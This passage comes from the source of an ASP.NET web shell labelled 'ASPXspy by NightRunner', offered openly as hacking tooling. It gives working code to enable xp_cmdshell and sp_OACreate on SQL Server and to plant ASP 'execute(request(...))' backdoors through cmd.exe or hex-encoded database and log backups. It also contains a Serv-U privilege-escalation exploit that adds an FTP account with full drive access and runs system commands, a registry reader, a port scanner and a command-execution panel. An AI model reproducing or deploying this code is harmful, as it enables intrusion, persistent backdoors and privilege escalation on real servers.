  896. }
  897. catch(Exception e)
  898. {
  899. Bin_Error(e.Message);
  900. }
  901. }
  902. public void Item_DataBound(object sender,DataGridItemEventArgs e)
  903. {
  904.  
  905. for(int i=2; i < e.Item.Cells.Count; i++)
  906. {
  907. e.Item.Cells[i].Text=e.Item.Cells[i].Text.Replace("<", "&lt;").Replace(">", "&gt;");
  908. }
  909.  
  910. }
  911. protected void Bin_DBPage(object sender, DataGridPageChangedEventArgs e)
  912. {
  913. Bin_DataGrid.CurrentPageIndex=e.NewPageIndex;
  914. Bin_Databind();
  915. }
  916. public void Item_Command(object sender, DataGridCommandEventArgs e)
  917. {
  918. if(e.CommandName=="Cancel")
  919. {
  920. Bin_DataGrid.EditItemIndex=-1;
  921. Bin_Databind();
  922. }
  923. }
  924.  
  925. protected void Bin_ExecButton_Click(object sender, EventArgs e)
  926. {
  927. try
  928. {
  929.  
  930. Bin_Scroll.Visible=true;
  931. Bin_DataGrid.Visible=true;
  932. Bin_DataGrid.AllowPaging=true;
  933. Bin_Accbind();
  934. if(Bin_SQLRadioButton.Checked)
  935. {
  936. Bin_DBmenuPanel.Visible=true;
  937. }
  938. string sqlstr=Bin_DBstrTextBox.Text;
  939. sqlstr=sqlstr.TrimStart().ToLower();
  940. if(sqlstr.Substring(0, 6)=="select")
  941. {
  942. DataTable databind=Bin_DataTable(sqlstr);
  943. Bin_DataGrid.DataSource=databind;
  944. Bin_DataGrid.DataBind();
  945. }
  946. else
  947. {
  948. Bin_ExecSql(sqlstr);
  949. Bin_Databind();
  950. }
  951. }
  952. catch(Exception error)
  953. {
  954. Bin_Error(error.Message);
  955. }
  956. }
  957.  
  958. protected void Bin_BDButton_Click(object sender, EventArgs e)
  959. {
  960. Bin_DBinfoLabel.Visible=false;
  961. Bin_Accbind();
  962. Bin_DBmenuPanel.Visible=true;
  963. Bin_DataGrid.Visible=false;
  964. Bin_DataGrid.AllowPaging=true;
  965. Bin_Scroll.Visible=false;
  966. Bin_DBstrTextBox.Text="";
  967. Bin_SAexecButton.Visible=false;
  968. Bin_ResLabel.Visible=false;
  969. Bin_dirPanel.Visible=false;
  970.  
  971. }
  972.  
  973. protected void Bin_SACMDButton_Click(object sender, EventArgs e)
  974. {
  975. Bin_DBinfoLabel.Visible=false;
  976. Bin_DataGrid.Visible=false;
  977. Bin_Scroll.Visible=false;
  978. Bin_SAexecButton.Visible=true;
  979. Bin_Change();
  980. Bin_ExecButton.Visible=false;
  981. Bin_ResLabel.Visible=false;
  982. Session["Bin_Option"]=null;
  983. Bin_dirPanel.Visible=false;
  984.  
  985. }
  986. public void Bin_Change()
  987. {
  988. Bin_ExecButton.Visible=false;
  989. string select="<input type=hidden name=goaction><input type=hidden name=todo><input type=hidden name=intext><select onchange=if(this.value!='')Command('changedata',this);><option>SQL Server Exec<option value=\"Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')\">Add sp_oacreate<option value=\"Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')\">Add xp_cmdshell<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">Add xp_cmdshell<option value=\"EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;\">Add xp_cmdshell(SQL2005)<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">XP_cmdshell exec<option value=\"Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^> > c:\\1.asp';\">SP_oamethod exec<option value=\"sp_makewebtask @outputfile='d:\\web\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))"+"%"+">''' \">SP_makewebtask make file";
  990. if(Session["Bin_Option"] !=null)
  991. {
  992. select+="<option SELECTED>"+Session["Bin_Option"]+"</option>";
  993. }
  994. select+="</select>";
  995. Bin_AccinfoLabel.Text=select;
  996. Bin_DataGrid.Visible=false;
  997. Bin_Scroll.Visible=false;
  998. }
  999.  
  1000. protected void Bin_SAexecButton_Click(object sender, EventArgs e)
  1001. {
  1002. try
  1003. {
  1004. Bin_Change();
  1005. Bin_DBinfoLabel.Visible=false;
  1006. Bin_ExecButton.Visible=false;
  1007. Bin_Scroll.Visible=false;
  1008. Bin_DataGrid.Visible=false;
  1009. Bin_DBmenuPanel.Visible=true;
  1010. string sqlstr=Bin_DBstrTextBox.Text;
  1011. DataTable databind=Bin_DataTable(sqlstr);
  1012. string res="";
  1013. foreach(DataRow dr in databind.Rows)
  1014. {
  1015. for(int i=0; i < databind.Columns.Count; i++)
  1016. {
  1017. res+=dr[i]+"\r";
  1018. }
  1019. }
  1020. Bin_ResLabel.Text="<hr><div id=\"nei\"><PRE>"+res.Replace(" ", "&nbsp;").Replace("<", "&lt;").Replace(">", "&gt;")+"</PRE></div>";
  1021.  
  1022.  
  1023. }
  1024. catch(Exception error)
  1025. {
  1026. Bin_Error(error.Message);
  1027. }
  1028.  
  1029. }
  1030.  
  1031. protected void Bin_DirButton_Click(object sender, EventArgs e)
  1032. {
  1033. Bin_dirPanel.Visible=true;
  1034. Bin_AccPanel.Visible=false;
  1035. Bin_DBinfoLabel.Visible=false;
  1036. Bin_DataGrid.Visible=false;
  1037. Bin_Scroll.Visible=false;
  1038. }
  1039.  
  1040. protected void Bin_listButton_Click(object sender, EventArgs e)
  1041. {
  1042. Bin_dirPanel.Visible=true;
  1043. Bin_AccPanel.Visible=false;
  1044. Bin_DBinfoLabel.Visible=false;
  1045. Bin_SqlDir();
  1046. }
  1047. public void Bin_SqlDir()
  1048. {
  1049. try
  1050. {
  1051. Bin_DataGrid.Visible=true;
  1052. Bin_Scroll.Visible=true;
  1053. Bin_DataGrid.AllowPaging=false;
  1054. string exesql="use pubs;if exists(select * from sysobjects where id=object_id(N'[bin_dir]')and OBJECTPROPERTY(id, N'IsUserTable')=1)drop table [bin_dir]; CREATE TABLE bin_dir(DirName VARCHAR(400), DirAtt VARCHAR(400),DirFile VARCHAR(400))INSERT bin_dir EXEC MASTER..XP_dirtree '"+Bin_DirTextBox.Text+"',1,1;";
  1055. Bin_ExecSql(exesql);
  1056. DataTable sql_dir=Bin_DataTable("select * from bin_dir");
  1057. Bin_DataGrid.DataSource=sql_dir;
  1058. Bin_DataGrid.DataBind();
  1059. }
  1060. catch(Exception e)
  1061. {
  1062. Bin_Error(e.Message);
  1063. }
  1064. }
  1065.  
  1066. protected void Bin_SuButton_Click(object sender, EventArgs e)
  1067. {
  1068. Bin_CmdPanel.Visible=false;
  1069. Bin_SQLPanel.Visible=false;
  1070. Bin_SuPanel.Visible=true;
  1071. Bin_IISPanel.Visible=false;
  1072. Bin_SuresLabel.Text="";
  1073. Bin_LoginPanel.Visible=false;
  1074. Bin_RegPanel.Visible=false;
  1075. Bin_PortPanel.Visible=false;
  1076. }
  1077.  
  1078. protected void Bin_dbshellButton_Click(object sender, EventArgs e)
  1079. {
  1080. Bin_DBinfoLabel.Visible=false;
  1081. Bin_AccPanel.Visible=false;
  1082. Bin_BakDB();
  1083. }
  1084. public void Bin_BakDB()
  1085. {
  1086. string path=Bin_DirTextBox.Text.Trim();
  1087. if(path.Substring(path.Length - 1, 1)==@"\")
  1088. {
  1089. path=path+"bin.asp";
  1090. }
  1091. else
  1092. {
  1093. path=path+@"\bin.asp";
  1094. }
  1095. string sql="if exists(select * from sysobjects where id=object_id(N'[bin_cmd]')and OBJECTPROPERTY(id, N'IsUserTable')=1)drop table [bin_cmd];create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='"+path+"' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];";
  1096. Bin_ExecSql(sql);
  1097. Bin_SqlDir();
  1098. }
  1099. public void Bin_BakLog()
  1100. {
  1101. string path=Bin_DirTextBox.Text.Trim();
  1102. if(path.Substring(path.Length - 1, 1)==@"\")
  1103. {
  1104. path=path+"bin.asp";
  1105. }
  1106. else
  1107. {
  1108. path=path+@"\bin.asp";
  1109. }
  1110. string sql="if exists(select * from sysobjects where id=object_id(N'[bin_cmd]')and OBJECTPROPERTY(id, N'IsUserTable')=1)drop table [bin_cmd];create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='"+path+"' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];";
  1111. Bin_ExecSql(sql);
  1112. Bin_SqlDir();
  1113. }
  1114.  
  1115. protected void Bin_LogshellButton_Click(object sender, EventArgs e)
  1116. {
  1117. Bin_DBinfoLabel.Visible=false;
  1118. Bin_AccPanel.Visible=false;
  1119. Bin_BakLog();
  1120. }
  1121.  
  1122. protected void Bin_SuexpButton_Click(object sender, EventArgs e)
  1123. {
  1124. string Result="";
  1125. string user=Bin_SunameTextBox.Text;
  1126. string pass=Bin_SupassTextBox.Text;
  1127. int port=Int32.Parse(Bin_SuportTextBox.Text);
  1128. string cmd=Bin_SucmdTextBox.Text;
  1129. string loginuser="user "+user+"\r\n";
  1130. string loginpass="pass "+pass+"\r\n";
  1131. string site="SITE MAINTENANCE\r\n";
  1132. string deldomain="-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1133. string setdomain="-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1134. string newdomain="-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1135. string quite="QUIT\r\n";
  1136. try
  1137. {
  1138. TcpClient tcp=new TcpClient("127.0.0.1", port);
  1139. tcp.ReceiveBufferSize=1024;
  1140. NetworkStream NS=tcp.GetStream();
  1141. Result=Rev(NS);
  1142. Result+=Send(NS, loginuser);
  1143. Result+=Rev(NS);
  1144. Result+=Send(NS, loginpass);
  1145. Result+=Rev(NS);
  1146. Result+=Send(NS, site);
  1147. Result+=Rev(NS);
  1148. Result+=Send(NS, deldomain);
  1149. Result+=Rev(NS);
  1150. Result+=Send(NS, setdomain);
  1151. Result+=Rev(NS);
  1152. Result+=Send(NS, newdomain);
  1153. Result+=Rev(NS);
  1154. TcpClient tcp1=new TcpClient("127.0.0.1", 52521);
  1155. NetworkStream NS1=tcp1.GetStream();
  1156. Result+=Rev(NS1);
  1157. Result+=Send(NS1, "user bin\r\n");
  1158. Result+=Rev(NS1);
  1159. Result+=Send(NS1, "pass binftp\r\n");
  1160. Result+=Rev(NS1);
  1161. Result+=Send(NS1, "site exec "+cmd+"\r\n");
  1162. Result+=Rev(NS1);
  1163. tcp1.Close();
  1164. Result+=Send(NS, deldomain);
  1165. Result+=Rev(NS);
  1166. Result+=Send(NS, quite);
  1167. Result+=Rev(NS);
  1168. tcp.Close();
  1169. }
  1170. catch(Exception error)
  1171. {
  1172. Bin_Error(error.Message);
  1173. }
  1174. Bin_SuresLabel.Text="<div id=\"su\"><pre>"+Result+"</pre></div>";
  1175.  
  1176.  
  1177. }
  1178. protected string Rev(NetworkStream instream)
  1179. {
  1180. string Restr="";
  1181. if(instream.CanRead)
  1182. {
  1183. byte[] buffer=new byte[1024];
  1184. instream.Read(buffer, 0, buffer.Length);
  1185. Restr=Encoding.ASCII.GetString(buffer);
  1186. }
  1187. return "<font color=red>"+Restr+"</font><br>";
  1188.  
  1189. }
  1190. protected string Send(NetworkStream instream,string Sendstr)
  1191. {
  1192. if(instream.CanWrite)
  1193. {
  1194. byte[] buffer=Encoding.ASCII.GetBytes(Sendstr);
  1195. instream.Write(buffer, 0, buffer.Length);
  1196. }
  1197. return "<font color=blue>"+Sendstr+"</font><br>";
  1198. }
  1199. protected void Bin_IISButton_Click(object sender, EventArgs e)
  1200. {
  1201. Bin_LoginPanel.Visible=false;
  1202. Bin_MainPanel.Visible=false;
  1203. Bin_MenuPanel.Visible=true;
  1204. Bin_FilePanel.Visible=false;
  1205. Bin_CmdPanel.Visible=false;
  1206. Bin_SQLPanel.Visible=false;
  1207. Bin_SuPanel.Visible=false;
  1208. Bin_IISPanel.Visible=true;
  1209. Bin_RegPanel.Visible=false;
  1210. Bin_PortPanel.Visible=false;
  1211. Bin_iisLabel.Text=Bin_iisinfo();
  1212.  
  1213. }
  1214.  
  1215. protected void Bin_PortButton_Click(object sender, EventArgs e)
  1216. {
  1217. Bin_MenuPanel.Visible=true;
  1218. Bin_LoginPanel.Visible=false;
  1219. Bin_CmdPanel.Visible=false;
  1220. Bin_SQLPanel.Visible=false;
  1221. Bin_SuPanel.Visible=false;
  1222. Bin_IISPanel.Visible=false;
  1223. Bin_RegPanel.Visible=false;
  1224. Bin_PortPanel.Visible=true;
  1225. Bin_ScanresLabel.Text="";
  1226. }
  1227.  
  1228. protected void Bin_RegButton_Click(object sender, EventArgs e)
  1229. {
  1230. Bin_MenuPanel.Visible=true;
  1231. Bin_LoginPanel.Visible=false;
  1232. Bin_CmdPanel.Visible=false;
  1233. Bin_SQLPanel.Visible=false;
  1234. Bin_SuPanel.Visible=false;
  1235. Bin_IISPanel.Visible=false;
  1236. Bin_RegPanel.Visible=true;
  1237. Bin_PortPanel.Visible=false;
  1238. Bin_RegresLabel.Text="";
  1239.  
  1240. }
  1241.  
  1242. protected void Bin_RegreadButton_Click(object sender, EventArgs e)
  1243. {
  1244. try
  1245. {
  1246. string regkey=Bin_KeyTextBox.Text;
  1247. string subkey=regkey.Substring(regkey.IndexOf("\\")+1, regkey.Length - regkey.IndexOf("\\")- 1);
  1248. RegistryKey rk=null;
  1249. object buffer;
  1250. string regstr="";
  1251. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_LOCAL_MACHINE")
  1252. {
  1253. rk=Registry.LocalMachine.OpenSubKey(subkey);
  1254. }
  1255. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_CLASSES_ROOT")
  1256. {
  1257. rk=Registry.ClassesRoot.OpenSubKey(subkey);
  1258. }
  1259. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_CURRENT_USER")
  1260. {
  1261. rk=Registry.CurrentUser.OpenSubKey(subkey);
  1262. }
  1263. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_USERS")
  1264. {
  1265. rk=Registry.Users.OpenSubKey(subkey);
  1266. }
  1267. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_CURRENT_CONFIG")
  1268. {
  1269. rk=Registry.CurrentConfig.OpenSubKey(subkey);
  1270. }
  1271. buffer=rk.GetValue(Bin_ValueTextBox.Text, "NULL");
  1272. if (buffer.GetType()==typeof(byte[]))
  1273. {
  1274. foreach (byte tmpbyte in (byte[])buffer)
  1275. {
  1276. if ((int)tmpbyte<16)
  1277. {
  1278. regstr+="0";
  1279. }
  1280. regstr+=tmpbyte.ToString("X");
  1281. }
  1282. Bin_RegresLabel.Text="<br>Result : "+regstr;
  1283. }
  1284. else
  1285. {
  1286. Bin_RegresLabel.Text="<br>Result : "+buffer.ToString();
  1287. }
  1288. }
  1289. catch(Exception error)
  1290. {
  1291. Bin_Error(error.Message);
  1292. }
  1293. }
  1294.  
  1295. protected void Bin_ScancmdButton_Click(object sender, EventArgs e)
  1296. {
  1297. try
  1298. {
  1299. string res="";
  1300. string[] port=Bin_PortsTextBox.Text.Split(',');
  1301. for(int i=0; i < port.Length; i++)
  1302. {
  1303. res+=Bin_Scan(Bin_ScanipTextBox.Text, Int32.Parse(port[i]))+"<br>";
  1304. }
  1305. Bin_ScanresLabel.Text="<hr>"+res;
  1306. }
  1307. catch(Exception error)
  1308. {
  1309. Bin_Error(error.Message);
  1310. }
  1311. }
  1312. protected string Bin_Scan(string ip, int port)
  1313. {
  1314.  
  1315. string scanres="";
  1316. TcpClient tcp=new TcpClient();
  1317. tcp.SendTimeout=tcp.ReceiveTimeout=2000;
  1318. try
  1319. {
  1320. tcp.Connect(ip, port);
  1321. tcp.Close();
  1322. scanres=ip+" : "+port+" ................................. <font color=green><b>Open</b></font>";
  1323. }
  1324. catch(SocketException e)
  1325. {
  1326. scanres=ip+" : "+port+" ................................. <font color=red><b>Close</b></font>";
  1327. }
  1328. return scanres;
  1329. }
  1330. </script>
  1331. <html xmlns="http://www.w3.org/1999/xhtml" >
  1332. <head runat="server">
  1333. <title>ASPXspy by NightRunner</title>
  1334. <style type="text/css">
  1335. A:link {
  1336. COLOR:#000000; TEXT-DECORATION:None
  1337. }
  1338. A:visited {
  1339. COLOR:#000000; TEXT-DECORATION:None
  1340. }
  1341. A:active {
  1342. COLOR:#000000; TEXT-DECORATION:None
  1343. }
  1344. A:hover {
  1345. COLOR:#000000; TEXT-DECORATION:underline
  1346. }
  1347. BODY {
  1348. FONT-SIZE: 9pt;
  1349. FONT-FAMILY: "Courier New";
  1350. }
  1351. #nei {
  1352. width:500px;
  1353. margin:0px auto;
  1354.  
  1355. overflow:hidden
  1356. }
  1357. #su {
  1358. width:300px;
  1359. margin:0px auto;
  1360.  
  1361. overflow:hidden
  1362. }
  1363. #cmd {
  1364. width:500px;
  1365. margin:0px auto;
  1366.  
  1367. overflow:hidden
  1368. }
  1369. </style>
  1370. <script type="text/javascript" language="javascript" >
  1371. function Command(cmd, str)
  1372. {
  1373. var strTmp=str;
  1374. var frm=document.forms[0];
  1375. if(cmd=='del')
  1376. {
  1377. if(confirm('Del It ?'))
  1378. {
  1379. frm.todo.value=str;
  1380. frm.goaction.value=cmd;
  1381. frm.submit();
  1382. }
  1383. else return;
  1384. }
  1385. if(cmd=='change')
  1386. {
  1387. frm.todo.value=str;
  1388. frm.goaction.value=cmd;
  1389. frm.submit();
  1390. }
  1391. if(cmd=='down')
  1392. {
  1393. frm.todo.value=str;
  1394. frm.goaction.value=cmd;
  1395. frm.submit();
  1396. }
  1397. if(cmd=='showatt')
  1398. {
  1399. frm.todo.value=str;
  1400. frm.goaction.value=cmd;
  1401. frm.submit();
  1402. }
  1403. if(cmd=='edit')
  1404. {
  1405. frm.todo.value=str;
  1406. frm.goaction.value=cmd;
  1407. frm.submit();
  1408. }
  1409. if(cmd=='deldir')
  1410. {
  1411. if(confirm('Del It ?'))
  1412. {
  1413. frm.todo.value=str;
  1414. frm.goaction.value=cmd;
  1415. frm.submit();
  1416. }
  1417. else return;
  1418. }
  1419. if(cmd=='rename' )
  1420. {
  1421. frm.goaction.value=cmd;
  1422. frm.todo.value=str+',';
  1423. str=prompt('Please input new filename:', strTmp);
  1424. if(str &&(strTmp !=str))
  1425. {
  1426. frm.todo.value+=str;
  1427. frm.submit();
  1428. }
  1429. else return;
  1430. }
  1431. if(cmd=='renamedir' )
  1432. {
  1433. frm.goaction.value=cmd;
  1434. frm.todo.value=str+',';
  1435. str=prompt('Please input new foldername:', strTmp);
  1436. if(str &&(strTmp !=str))
  1437. {
  1438. frm.todo.value+=str;
  1439. frm.submit();
  1440. }
  1441. else return;
  1442. }
  1443. if(cmd=='postdata')
  1444. {
  1445. frm.todo.value=str.value;
  1446. frm.goaction.value=cmd;
  1447. frm.submit();
  1448. }
  1449. if(cmd=='changedata')
  1450. {
  1451. frm.todo.value=str.value;
  1452. frm.intext.value=str.options[str.selectedIndex].innerText
  1453. frm.goaction.value=cmd;
  1454. frm.submit();
  1455. }
  1456. }
  1457.  
  1458. </script>
  1459. </head>
  1460. <body>
  1461. <form id="form1" runat="server"><div style="text-align: center"><asp:Panel ID="Bin_LoginPanel" runat="server" Height="47px" Width="401px">
  1462. <asp:Label ID="PassLabel" runat="server" Text="Password:"></asp:Label>
  1463. <asp:TextBox ID="passtext" runat="server" TextMode="Password" Width="203px"></asp:TextBox>
  1464. <asp:Button ID="LoginButton" runat="server" Text="Enter" OnClick="LoginButton_Click" /><p />
  1465. Hackright(H)2013 NightRunner -> <a href="http://sinhvienit.net" target="_blank">Hacker H4</a></asp:Panel><asp:Panel ID="Bin_MenuPanel" runat="server" Height="56px" Width="771px">
  1466. <asp:Label ID="TimeLabel" runat="server" Text="Label" Width="150px"></asp:Label><br />
  1467. <asp:Button ID="MainButton" runat="server" OnClick="MainButton_Click" Text="Sysinfo" />
  1468. <asp:Button ID="Bin_IISButton" runat="server" OnClick="Bin_IISButton_Click" Text="IISSpy" />
  1469. <asp:Button ID="FileButton" runat="server" OnClick="FileButton_Click" Text="WebShell" />
  1470. <asp:Button ID="Bin_CmdButton" runat="server" Text="Command" OnClick="Bin_CmdButton_Click" />
  1471. <asp:Button ID="Bin_SQLButton" runat="server" OnClick="Bin_SQLButton_Click" Text="SqlTools" />&nbsp;<asp:Button
  1472. ID="Bin_SuButton" runat="server" OnClick="Bin_SuButton_Click" Text="SuExp" />
  1473. <asp:Button ID="Bin_PortButton" runat="server" Text="PortScan" OnClick="Bin_PortButton_Click" />
  1474. <asp:Button ID="Bin_RegButton" runat="server" Text="RegShell" OnClick="Bin_RegButton_Click" />
  1475. <asp:Button ID="LogoutButton" runat="server" OnClick="LogoutButton_Click" Text="Logout" /><br />
  1476. <asp:Label ID="Bin_ErrorLabel" runat="server" EnableViewState="False">Hackright(H)2013 NightRunner -> <a href="http://sinhvienit.net" target="_blank">Hacker NightRunner</a> -> <a href=http://sinhvienit.net" target="_blank">Reverse-IP</a> </asp:Label></asp:Panel>
  1477. <asp:Panel ID="Bin_MainPanel" runat="server" Width="769px" EnableViewState="False" Visible="False" Height="20px">
  1478. <div style="text-align: left"><asp:Label ID="InfoLabel" runat="server" Width="765px" EnableViewState="False" ></asp:Label></div></asp:Panel><div style="text-align: center">
  1479. <asp:Panel ID="Bin_FilePanel" runat="server" Width="767px" EnableViewState="False" Visible="False"><div style="text-align: left"><asp:Label ID="Bin_FileLabel" runat="server" Text="Label" Width="764px"></asp:Label><br />
  1480. <asp:Label ID="Bin_UpfileLabel" runat="server" Text="Upfile : "></asp:Label>
  1481. <input class="TextBox" id="Bin_UpFile" type="file" name="upfile" runat="server" />&nbsp;<asp:TextBox ID="Bin_upTextBox" runat="server" Width="339px"></asp:TextBox>&nbsp;
  1482. <asp:Button ID="Bin_GoButton" runat="server" OnClick="Bin_GoButton_Click" Text="GO" />
  1483. <asp:Button ID="Bin_upButton" runat="server" Text="UpLoad" OnClick="Bin_upButton_Click" EnableViewState="False" /><br />
  1484. <asp:Label ID="Bin_CreateLabel" runat="server" Text="Create :"></asp:Label>
  1485. <asp:TextBox ID="Bin_CreateTextBox" runat="server"></asp:TextBox><asp:Button ID="Bin_NewFileButton"
  1486. runat="server" Text="NewFile" OnClick="Bin_NewFileButton_Click" />
  1487. <asp:Button ID="Bin_NewdirButton" runat="server" Text="NewDir" OnClick="Bin_NewdirButton_Click" />
  1488. <br />
  1489. <asp:Label ID="Bin_CopyLabel" runat="server" Text="Copy :" Width="39px"></asp:Label>
  1490. &nbsp;
  1491. <asp:TextBox ID="Bin_CopyTextBox" runat="server" Width="273px"></asp:TextBox>
  1492. <asp:Label ID="Bin_CopytoLable" runat="server" Text="To:"></asp:Label>
  1493. <asp:TextBox ID="Bin_CopytoTextBox" runat="server" Width="268px"></asp:TextBox>
  1494. <asp:Button ID="Bin_CopyButton" runat="server" Text="Copy" OnClick="Bin_CopyButton_Click" />
  1495. <asp:Button ID="Bin_CutButton" runat="server" Text="Cut" Width="46px" OnClick="Bin_CutButton_Click" />
  1496. <asp:Label ID="Bin_FilelistLabel" runat="server" EnableViewState="False"></asp:Label></div><div style="text-align: center">
  1497. <asp:Panel ID="Bin_AttPanel" runat="server" Width="765px" Visible="False"><hr />
  1498. FileName :
  1499. <asp:Label ID="Bin_AttLabel" runat="server" Text="Label"></asp:Label><br />
  1500. <asp:CheckBox ID="Bin_ReadOnlyCheckBox" runat="server" Text="ReadOnly" />
  1501. <asp:CheckBox ID="Bin_SystemCheckBox" runat="server" Text="System" />
  1502. <asp:CheckBox ID="Bin_HiddenCheckBox" runat="server" Text="Hidden" />
  1503. <asp:CheckBox ID="Bin_ArchiveCheckBox" runat="server" Text="Archive" />
  1504. <br />
  1505. CreationTime :
  1506. <asp:TextBox ID="Bin_CreationTimeTextBox" runat="server" Width="123px"></asp:TextBox>
  1507. LastWriteTime :
  1508. <asp:TextBox ID="Bin_LastWriteTimeTextBox" runat="server" Width="129px"></asp:TextBox>
  1509. LastAccessTime :
  1510. <asp:TextBox ID="Bin_AccessTimeTextBox" runat="server" Width="119px"></asp:TextBox><br />
  1511. <asp:Button ID="Bin_SetButton" runat="server" OnClick="Bin_SetButton_Click" Text="Set" />
  1512. <asp:Button ID="Bin_SbackButton" runat="server" OnClick="Bin_SbackButton_Click" Text="Back" />
  1513. <hr />
  1514. </asp:Panel></div>
  1515. <div style="text-align: center"><asp:Panel ID="Bin_EditPanel" runat="server" Visible="False"><hr style="width: 757px" />
  1516. Path:<asp:TextBox ID="Bin_EditpathTextBox" runat="server" Width="455px"></asp:TextBox><br />
  1517. <asp:TextBox ID="Bin_EditTextBox" runat="server" TextMode="MultiLine" Columns="100" Rows="25" Width="760px"></asp:TextBox><br />
  1518. <asp:Button ID="Bin_EditButton" runat="server" Text="Sumbit" OnClick="Bin_EditButton_Click" />&nbsp;<asp:Button
  1519. ID="Bin_BackButton" runat="server" OnClick="Bin_BackButton_Click" Text="Back" /></asp:Panel></div></asp:Panel></div>
  1520. <asp:Panel ID="Bin_CmdPanel" runat="server" Height="50px" Width="763px"><hr />
  1521. CmdPath : &nbsp;<asp:TextBox ID="Bin_CmdPathTextBox" runat="server" Width="395px">C:\Windows\System32\Cmd.exe</asp:TextBox><br />
  1522. Argument :
  1523. <asp:TextBox ID="Bin_CmdShellTextBox" runat="server" Width="395px">/c Set</asp:TextBox><br />
  1524. <asp:Button ID="Bin_RunButton" runat="server" OnClick="Bin_RunButton_Click" Text="Run" />
  1525. <div style="text-align: left">
  1526. <asp:Label ID="Bin_CmdLabel" runat="server" EnableViewState="False"></asp:Label></div>
  1527. <hr /></asp:Panel>
  1528. <asp:Panel ID="Bin_SQLPanel" runat="server" Visible="False" Width="763px">
  1529. <hr />
  1530. ConnString :
  1531. <asp:TextBox ID="Bin_SQLconnTextBox" runat="server" Width="547px">server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB</asp:TextBox><br />
  1532. <asp:RadioButton ID="Bin_SQLRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_SQLRadioButton_CheckedChanged" Text="MS-SQL" Checked="True" />
  1533. <asp:RadioButton ID="Bin_AccRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_AccRadioButton_CheckedChanged" Text="MS-Access" />
  1534. <asp:Button ID="SQL_SumbitButton" runat="server" Text="Sumbit" OnClick="SQL_SumbitButton_Click" /><hr />
  1535. <asp:Panel ID="Bin_DBmenuPanel" runat="server" Width="759px" Visible="False">
  1536. <asp:Button ID="Bin_BDButton" runat="server" Text="DataBase" OnClick="Bin_BDButton_Click" />
  1537. <asp:Button ID="Bin_SACMDButton" runat="server" Text="SA_Exec" OnClick="Bin_SACMDButton_Click" />
  1538. <asp:Button ID="Bin_DirButton" runat="server" Text="SQL_Dir" OnClick="Bin_DirButton_Click" /><br /><hr /><div style="text-align: left">
  1539. <asp:Label ID="Bin_DBinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label></div></asp:Panel>
  1540. <asp:Panel ID="Bin_AccPanel" runat="server" Height="50px" Width="759px" EnableViewState="False">
  1541. <asp:Label ID="Bin_AccinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label><br />
  1542. <asp:TextBox ID="Bin_DBstrTextBox" runat="server" TextMode="MultiLine" Width="569px"></asp:TextBox>
  1543. <asp:Button ID="Bin_ExecButton" runat="server" OnClick="Bin_ExecButton_Click" Text="Exec" />
  1544. <asp:Button ID="Bin_SAexecButton" runat="server" Text="SA_Exec" OnClick="Bin_SAexecButton_Click" /><br />
  1545. <div style="text-align:left">
  1546. <asp:Label ID="Bin_ResLabel" runat="server" ></asp:Label></div></asp:Panel>
  1547. <asp:Panel ID="Bin_dirPanel" runat="server" Visible="False" Width="759px">
  1548. Path :
  1549. <asp:TextBox ID="Bin_DirTextBox" runat="server" Width="447px">c:\</asp:TextBox>
  1550. <br />
  1551. <asp:Button ID="Bin_listButton" runat="server" OnClick="Bin_listButton_Click" Text="Dir" />&nbsp;<asp:Button
  1552. ID="Bin_dbshellButton" runat="server" OnClick="Bin_dbshellButton_Click" Text="Bak_DB" />
  1553. <asp:Button ID="Bin_LogshellButton" runat="server" Text="Bak_LOG" OnClick="Bin_LogshellButton_Click" /><hr /></asp:Panel>
  1554. <br /><br />
  1555. <div style="overflow:scroll; text-align:left; width:770px;" id="Bin_Scroll" runat="server" visible="false" >
